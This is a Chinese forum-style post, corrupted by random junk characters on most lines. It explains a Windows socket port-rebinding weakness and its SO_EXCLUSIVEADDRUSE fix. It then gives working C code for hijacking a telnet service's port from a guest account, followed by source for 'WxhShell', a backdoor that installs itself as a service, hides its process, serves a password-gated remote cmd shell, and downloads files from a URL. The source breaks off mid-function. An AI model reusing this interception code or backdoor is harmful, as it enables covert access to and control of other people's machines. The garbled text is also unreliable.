在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
#oD*H:%* s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
a0x/ ?)DO kzb1iBe 6m saddr.sin_family = AF_INET;
CI6qDh6 ]Q\/si& saddr.sin_addr.s_addr = htonl(INADDR_ANY);
&\o!-EIK8 Cdd
+I5~ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
;}gS8I| =2[U4<d!R 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
t Sf` goV[C]| 这意味着什么?意味着可以进行如下的攻击:
G|Y9F|.! *QpKeI 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
JMq00_ bbU{ />yW 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
8TnByKZz D;al(q 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
slKL(-D{ fX2PteA0qX 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
]gQ4qu5 \WVrn >%xu 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
B[0XzV]Z ~IKPi==@, 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
PDcZno? T+[N-"N 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
h4^
a#%$ 6"W~%FSJX #include
x1kb]0s<- #include
X|7Y|0o #include
WeTs va+ #include
vO2 o/
DWORD WINAPI ClientThread(LPVOID lpParam);
V4OhdcW{ int main()
ArUGa(;f {
}I'g@Pw9[ WORD wVersionRequested;
l*]*.?m/5 DWORD ret;
M"]~}* WSADATA wsaData;
x.+}-(`W#~ BOOL val;
oP".>g-. SOCKADDR_IN saddr;
p_jDnb# SOCKADDR_IN scaddr;
@hiwq7[j int err;
!z;a>[T' SOCKET s;
q@p-)+D; SOCKET sc;
1TKOvy_ int caddsize;
u4=j!Zb8} HANDLE mt;
5eO`u8M DWORD tid;
lV-7bZ wVersionRequested = MAKEWORD( 2, 2 );
":*PC[)W err = WSAStartup( wVersionRequested, &wsaData );
Poacd;* if ( err != 0 ) {
'@u/] ra: printf("error!WSAStartup failed!\n");
Ak$ghb return -1;
W$0<a@ }
qDO4&NO saddr.sin_family = AF_INET;
$LZf&q:\]* tH<v1LEZN //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
QtQku1{ l'(Cxhf.W saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
0}c*u) , saddr.sin_port = htons(23);
|*7uF<ink6 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
u7&r'rZ1_! {
cX@~Hk4=\ printf("error!socket failed!\n");
dfe 9)m> return -1;
I -i)D }
S?%V o* Y val = TRUE;
YZf<S: //SO_REUSEADDR选项就是可以实现端口重绑定的
REhXW_x if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
viAvD6e {
'z2}qJJ) printf("error!setsockopt failed!\n");
-,et. * return -1;
7Rj!vj/ }
y>u+.z a| //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
[zK|OMxoV //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
n6[bF"v //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
@?{n`K7{` m~#S76!w if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
0X -u'=Bs {
3~BL!e, ret=GetLastError();
X4&{/;$ printf("error!bind failed!\n");
(hd^ return -1;
#;a
1=8H }
&Hc8u,| listen(s,2);
h/`OG>./ while(1)
Q$W0>bUP {
R,/?p caddsize = sizeof(scaddr);
1#Dpj.cO# //接受连接请求
bP6QF1L sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
\rcbt6H
if(sc!=INVALID_SOCKET)
`Ten2(D {
?
8S0 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
on(F8%]zE if(mt==NULL)
>f19P+ {
_+%-WFS| printf("Thread Creat Failed!\n");
4CS9vv)9R break;
HLAWx/c,j" }
7s,IT8ii }
_C&2-tnp CloseHandle(mt);
,2[laJ }
<dD}4c+/t closesocket(s);
IQoz8!guh: WSACleanup();
q>%KIBh( return 0;
EkEM|<GNd }
`z-4OJ8~ DWORD WINAPI ClientThread(LPVOID lpParam)
gT'c`3Gkz {
II)\rVP5 SOCKET ss = (SOCKET)lpParam;
-wC;pA#o SOCKET sc;
Eg 5|XV unsigned char buf[4096];
Bra>C SOCKADDR_IN saddr;
.Frc:Y{ long num;
X +*@ DWORD val;
/lx\9S| DWORD ret;
j@v*q\X& //如果是隐藏端口应用的话,可以在此处加一些判断
?a7PxD. //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
|J'@-*5?[8 saddr.sin_family = AF_INET;
nyi}~sB saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
~{0:`)2FQ saddr.sin_port = htons(23);
CK 3]]{ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
BP,"vq $'+ {
^L+*}4Dr printf("error!socket failed!\n");
y!6B Gz return -1;
"8&pT^ }
m(s(2wq"f val = 100;
Q$Ga.fI if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
yaMNt}y-q {
#Bg88!-4 ret = GetLastError();
Z%y>q|: return -1;
.|JJyjRA+ }
e ,/I}W if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
j5|_SQOmt {
1Zx|SBF ret = GetLastError();
2BXpk^d5y return -1;
6B)(kPW }
;3U-ghj if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
{2vk< {
C~ t?< printf("error!socket connect failed!\n");
]iRE^o6 closesocket(sc);
YFv/t=` closesocket(ss);
8B JxD< return -1;
;gYW!rM }
=${]j while(1)
&M,a+|yuY {
}=z_3JfO //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
gS _)( //如果是嗅探内容的话,可以再此处进行内容分析和记录
mTz %;+|L //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
rmu5K$pl num = recv(ss,buf,4096,0);
'$YB
- if(num>0)
9 [v=` send(sc,buf,num,0);
1uZ[Ewl] else if(num==0)
N:GS fM@g break;
z}.y
?# num = recv(sc,buf,4096,0);
1
0lvhzU if(num>0)
SeN4gr* send(ss,buf,num,0);
/:3:Ky3 else if(num==0)
-G e5gQ= break;
@X4Ur+d }
T6h-E^Z closesocket(ss);
nDuf<mw closesocket(sc);
|t+M/C0y/ return 0 ;
fuSfBtLPR# }
usH9dys, 1j0OV9 -| 1rKKp h ==========================================================
{a^A-Xh[u Zu`;
S#Y 下边附上一个代码,,WXhSHELL
l*>t@:2J Z>gxECi ==========================================================
F-[zuYGp NAjY,)>'K #include "stdafx.h"
<_$]!Z6UR 0T7(c- #include <stdio.h>
^`~M f #include <string.h>
PLU8:H@X #include <windows.h>
PPk\W7G #include <winsock2.h>
aSdh5? #include <winsvc.h>
=y-L'z&r #include <urlmon.h>
b~X^vXIv%% A<P3X/i #pragma comment (lib, "Ws2_32.lib")
gwhd) .* #pragma comment (lib, "urlmon.lib")
mAMi-9 !+T\}1f7d #define MAX_USER 100 // 最大客户端连接数
jXA!9_L7 #define BUF_SOCK 200 // sock buffer
i)9}+M5 #define KEY_BUFF 255 // 输入 buffer
$*
1?"$LN qcMVY\gi #define REBOOT 0 // 重启
2gz}]_ #define SHUTDOWN 1 // 关机
L08>9tf` ,K9\;{C #define DEF_PORT 5000 // 监听端口
D`p&`]k3v AQn>K{M #define REG_LEN 16 // 注册表键长度
S^q)DuF5! #define SVC_LEN 80 // NT服务名长度
HDQhXw!!hc -YM#.lQ // 从dll定义API
h4rIt3` typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
{Hncm typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Y.`
{]rC typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
_Gs*4: typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
HR)Dz~Obw X"WKgC g$ // wxhshell配置信息
b`"E(S / struct WSCFG {
r/v'h@ int ws_port; // 监听端口
r~cmrLQa char ws_passstr[REG_LEN]; // 口令
L%](C int ws_autoins; // 安装标记, 1=yes 0=no
n8<o*f&&9> char ws_regname[REG_LEN]; // 注册表键名
KHwzQ<Z3 char ws_svcname[REG_LEN]; // 服务名
i9Fg char ws_svcdisp[SVC_LEN]; // 服务显示名
9$,x^Qx char ws_svcdesc[SVC_LEN]; // 服务描述信息
*9:oTN char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Eu/~4:XN int ws_downexe; // 下载执行标记, 1=yes 0=no
`nBCCz'Y! char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
&8'.Gwm} char ws_filenam[SVC_LEN]; // 下载后保存的文件名
5
o:VixZf *M5: \+ };
l;i,V;@t D'V0b" // default Wxhshell configuration
iku8T*&uc struct WSCFG wscfg={DEF_PORT,
{\-rZb==F2 "xuhuanlingzhe",
49f- u 1,
o(xRq;i "Wxhshell",
JFaxxW "Wxhshell",
IOA"O9; "WxhShell Service",
2
q RXA "Wrsky Windows CmdShell Service",
/lAB "Please Input Your Password: ",
8
v NgePn 1,
{MmHR "
http://www.wrsky.com/wxhshell.exe",
<>aBmJs4 "Wxhshell.exe"
}* iag\ };
jvx9b([<sG a%*l]S0z" // 消息定义模块
4 -)'a} O char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
9 tZ)#@\ char *msg_ws_prompt="\n\r? for help\n\r#>";
$>E\3npV char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
* d6[kY char *msg_ws_ext="\n\rExit.";
-_=0PW5{ char *msg_ws_end="\n\rQuit.";
A^7!:^%K char *msg_ws_boot="\n\rReboot...";
x4v@Kk/ char *msg_ws_poff="\n\rShutdown...";
x_1JQDE char *msg_ws_down="\n\rSave to ";
{#q']YDe` r})2-3ZA9 char *msg_ws_err="\n\rErr!";
f])?Gw char *msg_ws_ok="\n\rOK!";
1@IRx{v$ CG'NC\x5 char ExeFile[MAX_PATH];
@k~?h=o\b int nUser = 0;
HE&,?vioy HANDLE handles[MAX_USER];
N/)mw/?i int OsIsNt;
r`u}n Mq) n=M SERVICE_STATUS serviceStatus;
t
K;E&: SERVICE_STATUS_HANDLE hServiceStatusHandle;
5@c,iU-L /H.QGPr // 函数声明
-Hzn7L int Install(void);
E%eao$ int Uninstall(void);
2rHw5Wn]~ int DownloadFile(char *sURL, SOCKET wsh);
}]vj"!?a int Boot(int flag);
2'g< H-[ void HideProc(void);
Pg[zRRf< int GetOsVer(void);
XuJwZN!( int Wxhshell(SOCKET wsl);
`7jm void TalkWithClient(void *cs);
>V(>2eD'S int CmdShell(SOCKET sock);
<[C9F1]Ya int StartFromService(void);
N>`+{ int StartWxhshell(LPSTR lpCmdLine);
C>cc!+n%H Ff>Y<7CQ
v VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
4zghM< VOID WINAPI NTServiceHandler( DWORD fdwControl );
ub6\m=Y7 )DMu`cD // 数据结构和表定义
322W"qduTZ SERVICE_TABLE_ENTRY DispatchTable[] =
aM 0kV.O {
?>MD /l(l {wscfg.ws_svcname, NTServiceMain},
]6OrL
TmP {NULL, NULL}
]SrKe-*:U };
oT
8
8DTk<5mW~ // 自我安装
yP0P-8 int Install(void)
q" wi.&| {
GG"0n{>0 char svExeFile[MAX_PATH];
u#p1W|\4 HKEY key;
J'9&dt strcpy(svExeFile,ExeFile);
Te'^O,C)y$ qh$D;t1= // 如果是win9x系统,修改注册表设为自启动
qU8UKI P if(!OsIsNt) {
7tAWPSwf if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
x+B~ t4A RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
*B}vYX RegCloseKey(key);
zq!2);, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
P},S[GaZ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
e"r'z
n RegCloseKey(key);
`m<="No return 0;
UShn)3F }
gZM{]GQ }
`H$s-PX }
]p'Qk else {
?]fBds= } Q1$v~ // 如果是NT以上系统,安装为系统服务
v{
C]\8 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
344,mnAd if (schSCManager!=0)
0IDHoNaT< {
^e@c
Ozt SC_HANDLE schService = CreateService
EoU}@MjM~ (
CyG @ schSCManager,
bG^eP:r wscfg.ws_svcname,
aS~k.^N wscfg.ws_svcdisp,
um,/^2A SERVICE_ALL_ACCESS,
mf}?z21vD SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
@2$PU{dH SERVICE_AUTO_START,
83R"!w18 SERVICE_ERROR_NORMAL,
LV8,nTYvE svExeFile,
[&NF0c[i NULL,
t ?bq~!X NULL,
Slv}6at5 NULL,
[Hd^49<P2 NULL,
IR/0gP NULL
$,i:#KT` );
)>\Ne~% if (schService!=0)
A1Q]KS@ {
$Fr2oSTT) CloseServiceHandle(schService);
R63"j\0 CloseServiceHandle(schSCManager);
;uoH+`pf strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
FNc[2sI strcat(svExeFile,wscfg.ws_svcname);
4D58cR} if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
@.0jC=!l RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
gEi"m5po RegCloseKey(key);
vpXS!o>/Sn return 0;
PI?-gc?[ }
a S<JsB }
k(^zhET CloseServiceHandle(schSCManager);
H>M%5bj }
8l='H l }
;U20g:K XLmbpEh return 1;
; $y.+5 q }
(Mtc&+n{ }Bc6:a // 自我卸载
.mok.f<G_m int Uninstall(void)
c7iu[vE'+ {
u|QfCwQ HKEY key;
9 l,Gd *\joaw if(!OsIsNt) {
j ^_G if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
bM-Y4[ RegDeleteValue(key,wscfg.ws_regname);
e9%6+9Y RegCloseKey(key);
}>Os@]*'^( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
<|2_1[,sl RegDeleteValue(key,wscfg.ws_regname);
CiMy_`H RegCloseKey(key);
5T return 0;
^ g4)aaBZ }
{X"X.`p }
x(t}H8q }
zM@iG]?kc else {
!4 hs9b (O<lVz@8 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
P{}Oe
*9" if (schSCManager!=0)
QY^ y(I49 {
_8S).* SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
o<g (%ncr if (schService!=0)
+6;OB@ {
<v2R6cj5 if(DeleteService(schService)!=0) {
2XXEg>CU CloseServiceHandle(schService);
]7VK&YfN CloseServiceHandle(schSCManager);
#Kh`ATme return 0;
~(&xBtg:} }
zc2,Mn2 CloseServiceHandle(schService);
d@w
I:
7 }
C u?$!|V CloseServiceHandle(schSCManager);
[2FXs52 }
6g.@I!j E }
[wu%t8O2 lO) B/N& return 1;
|BW956fBU }
P,%|(qB keWgbj // 从指定url下载文件
,>g
6OU2~6 int DownloadFile(char *sURL, SOCKET wsh)
ZU@V]+ww {
V2y[IeSQ HRESULT hr;
Mr1pRIYMd char seps[]= "/";
xp&I~YPH char *token;
A9R}74e4g char *file;
zCQv:.0L char myURL[MAX_PATH];
stDn{x. char myFILE[MAX_PATH];
/J6CSk S_QDYnF)` strcpy(myURL,sURL);
D{4
Y:O&J token=strtok(myURL,seps);
@%TQ/L^| while(token!=NULL)
JBYQ7SsAS0 {
nph{ file=token;
fSP~~YSeU token=strtok(NULL,seps);
"d#s|_n,d) }
:{AN@zC0\ cK258mY GetCurrentDirectory(MAX_PATH,myFILE);
"s*{0'jo strcat(myFILE, "\\");
YM;^c%
_7 strcat(myFILE, file);
hT_snb;ow send(wsh,myFILE,strlen(myFILE),0);
cshUxabB send(wsh,"...",3,0);
p!691LI hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
42C:cl} ." if(hr==S_OK)
}E=kfMu return 0;
t.zSJ|T_&O else
f"tO*/|` return 1;
ZN)/doK z=xHk|+' }
226s:\d a}
/Vu" // 系统电源模块
j NY8)w_ int Boot(int flag)
L=p.@VSZ {
ufJFS+? HANDLE hToken;
w iq{Jo# TOKEN_PRIVILEGES tkp;
u7;A` ?1{`~)" if(OsIsNt) {
_c&*'IY[V OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
<|8l ; LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Y}Dp{ tkp.PrivilegeCount = 1;
70NHU;&N tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Ao\Vh\rQkq AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
=.%ZF]Oe+# if(flag==REBOOT) {
SUEw5qitB if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
MJb = +L return 0;
X+3)DE\2 }
WNx^Rg"
>' else {
^"Y'zIL if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
5B2,=?+o return 0;
Fv: %"P^ }
:}-u`K* }
<Z;7=k else {
Pjy?&;GvT if(flag==REBOOT) {
KCFwO' if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
b[k 1)R" return 0;
K4yYNlY }
$P-m6 else {
oL@ou{iQ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
;!}SgzSH} return 0;
g?VME]: }
c-T
^
aR }
VqrMi *W6 c 2@@Rd~M return 1;
a7|&Tbv }
(0Qq rNs tb{{oxa,k // win9x进程隐藏模块
PPPwDsJ void HideProc(void)
GN9_ZlC {
Mh|`XO.5I eh>E). HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
PQ]9xzOg[ if ( hKernel != NULL )
~K96y$ DTE {
@>@Nug2 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
gL"}5 3A ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
WS/+Yl FreeLibrary(hKernel);
pCUOeQL(
}
fB96Q D:E_h return;
D,j5k3< # }
)JQQ4D $0SZlq>En // 获取操作系统版本
kV3j}C" int GetOsVer(void)
0|!<|N< {
~ p.W*skD OSVERSIONINFO winfo;
1!wEXH( winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
!#I/be] GetVersionEx(&winfo);
SQU%N if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
8@KFln )[ return 1;
/7@2Qc2 else
FTnQqDuT return 0;
,M&0<k\ }
}l?_Cfvu Qz(T[H5%W // 客户端句柄模块
llfiNEK5; int Wxhshell(SOCKET wsl)
doO
Ap9% {
Pd "mb~ SOCKET wsh;
~!-8l&C struct sockaddr_in client;
E9B*K2l^{ DWORD myID;
h_chZB' \seG2vw$ while(nUser<MAX_USER)
50GYL5)q {
Y+u-J4bj int nSize=sizeof(client);
8H#c4%by) wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
QcG5PV if(wsh==INVALID_SOCKET) return 1;
@Du}
<S8W~wC handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
x~9z`d{! if(handles[nUser]==0)
TflS@Z7C closesocket(wsh);
:n4:@L<%H else
EcU'* nUser++;
tkN3BQ }
Dyk[ug5 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
X'#$e{ u:uSsAn0$ return 0;
Q P=[ Vw }
&[ u6oAR fAMD2C // 关闭 socket
!P~ PF:W~| void CloseIt(SOCKET wsh)
nK h%E-c {
: \:~y9X0 closesocket(wsh);
h*#2bS~nl- nUser--;
9Z0CF~Y5 ExitThread(0);
KZ!N{.Jk }
:PD`PgQ {yHB2=nI // 客户端请求句柄
].-J. void TalkWithClient(void *cs)
Sj0 ucnuHi {
&,N3uy;Gc A3MZxu=':3 SOCKET wsh=(SOCKET)cs;
U1> char pwd[SVC_LEN];
QtnM(m char cmd[KEY_BUFF];
M9Nk=s! 3 char chr[1];
N[,VSO& int i,j;
Txt%nzIu KUp while (nUser < MAX_USER) {
+~w?Xw, lrs0^@.+ if(wscfg.ws_passstr) {
29a_ZU7e6 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
<78$]Z2we //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
QiTR-M2C! //ZeroMemory(pwd,KEY_BUFF);
X,WQ'|rC i=0;
[y|^P\D while(i<SVC_LEN) {
0'yG1qG z^gQ\\,4 // 设置超时
FJsK5- fd_set FdRead;
[$( sUc(% struct timeval TimeOut;
5q5 )uv" FD_ZERO(&FdRead);
,DQGv_ FD_SET(wsh,&FdRead);
gp~yt0AU TimeOut.tv_sec=8;
=vqsd4 TimeOut.tv_usec=0;
cBz!U8( int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
cWN d<=Jp if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
E-UB -"6 Ku<b0<` if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
r{t.c?/ pwd
=chr[0]; 4Qa@`
if(chr[0]==0xd || chr[0]==0xa) { E4sn[DO
pwd=0; pU?{0xZH
break; NuC-qG#
} >I$B=
i++; {0is wq'J
} `Y\gSUhzS
3R5K}ZBi%
// 如果是非法用户,关闭 socket 8weSrm
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); k2EHco0BG
} +7| [b
99 <4t$KH
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3jvx2
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $ q%mu
S5uJX#*;
while(1) { jCU=+b=
3>RcWy;1i
ZeroMemory(cmd,KEY_BUFF); 2 ]L=s3
FoE|Js
// 自动支持客户端 telnet标准 !Tv?%? 2l
j=0; T>d\%*Q+B
while(j<KEY_BUFF) { cNe0x2Z$?
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *6:v}#b[
cmd[j]=chr[0]; "gFxfWIA
if(chr[0]==0xa || chr[0]==0xd) { $z*@2Non
cmd[j]=0; J!rY
6[t
break; ZTN(irK
} ^;.T}c%N
j++; }$l8d/_$[
} &=YSM.G
538fK9[
// 下载文件 d:A}CBTSY
if(strstr(cmd,"http://")) { Rv98\VD"
send(wsh,msg_ws_down,strlen(msg_ws_down),0); M)L/d_4ka
if(DownloadFile(cmd,wsh)) vB^uxdt|m
send(wsh,msg_ws_err,strlen(msg_ws_err),0); N1%p"(
else JjQ8|En
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LIF|bE9kd
} =-_)$GOI'
else { R,%_deV\(
^EF'TO$
switch(cmd[0]) { sI'a1$
.;9jdGBf
// 帮助 Pg`JQC|
case '?': { Y,C=@t@_
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); t-WjL@$F/
break; %`e`g ^
} N>0LQ
MI
// 安装 6JhMkB^h
case 'i': { uVGa(4u}
if(Install()) $/+so;KD
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4jQ'+ 2it
else w]nX?S8
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &f-hG3/M
break; .oEbEs
} yYY Nu`
// 卸载 \6o\+OQk
case 'r': { LEZ&W;bCo
if(Uninstall()) /4*W DiH
send(wsh,msg_ws_err,strlen(msg_ws_err),0); S/.^7R7{f
else pLnB)z?
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X P;Bhz3j
break; x0A7O
} :Xfn@>;3ui
// 显示 wxhshell 所在路径 dFW.}"^c
case 'p': { Lu=O+{*8
char svExeFile[MAX_PATH]; !77NG4B
strcpy(svExeFile,"\n\r"); io.]'">
strcat(svExeFile,ExeFile); dY!u)M;~~
send(wsh,svExeFile,strlen(svExeFile),0); zT[6eZ8m
break; T p<s1'"
} d]SYP
// 重启 RNWX.g)b
case 'b': { vN65T$g7
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); wfR&li{
if(Boot(REBOOT)) j+kC-U;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6S1m<aH6
else { Dz;HAyPj
closesocket(wsh); UV AJxqz%}
ExitThread(0); <{Q'&T
} Xj@+{uvQB
break; =lp1Z>
} N|K4{Frm
// 关机 Elb aFbr
case 'd': { ^zr^ N?a
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); t
Rm+?
if(Boot(SHUTDOWN)) hH>``gK
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5M F#&v
else { H'DVwnn>ik
closesocket(wsh); Da.G4,vLh
ExitThread(0); :Ht;0|[H
} s{}]D{bc
break; ldqLM
} :TalW~r|
// 获取shell ;11x"S
case 's': { !*{q^IO9v&
CmdShell(wsh); F<|t\KOW
closesocket(wsh); 7DD&~ZcD
ExitThread(0); 5B4Ssrs5W~
break; cU.9}-)
} G`0V)S
// 退出 A8r^)QJP{
case 'x': { Ib=x~za@n
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); o\VUD
CloseIt(wsh); YHXLv#8
break; bulS&dAX
} ?)D^~/
A
// 离开 Yk!/ow@.
case 'q': { 7gF"=7{-
send(wsh,msg_ws_end,strlen(msg_ws_end),0); (Z]HX@"{J
closesocket(wsh); Smw QET<H
WSACleanup(); p>w]rE:}
exit(1); I:cg}JZ>|
break; V!_71x\-Q
} WJH\~<{mP
} Lh.b5Q|
} 3?I;ovsM
FS6`6M.K
// 提示信息 "qz3u`[o
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I#F!N6;
} W,5Hx1z R
} uo%P+om_}
fxaJZz$o
return; l e4?jQQ@L
} }@ Z56
Mn1Pt|_@!
// shell模块句柄 )SF}2?7e
int CmdShell(SOCKET sock) :}8Z@H!KkY
{ H %JaZ?(
STARTUPINFO si; }o4N<%/+
ZeroMemory(&si,sizeof(si)); l/TjQ*
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J]lrS
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; lGwl1,=
PROCESS_INFORMATION ProcessInfo; Un`^jw#_
char cmdline[]="cmd"; kft#R#m
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); DI+]D~N
return 0; g8qgk:}
} ('wY9kvL&
[[PEa-992
// 自身启动模式 4#x5MM
int StartFromService(void) 0"2=n.##
{ /Jf.y*;
typedef struct \PDd$syDA
{ fkf1m:Ckh
DWORD ExitStatus; @KX
\Er
DWORD PebBaseAddress; (?_S6HE
DWORD AffinityMask; 'WaPrCw@Mf
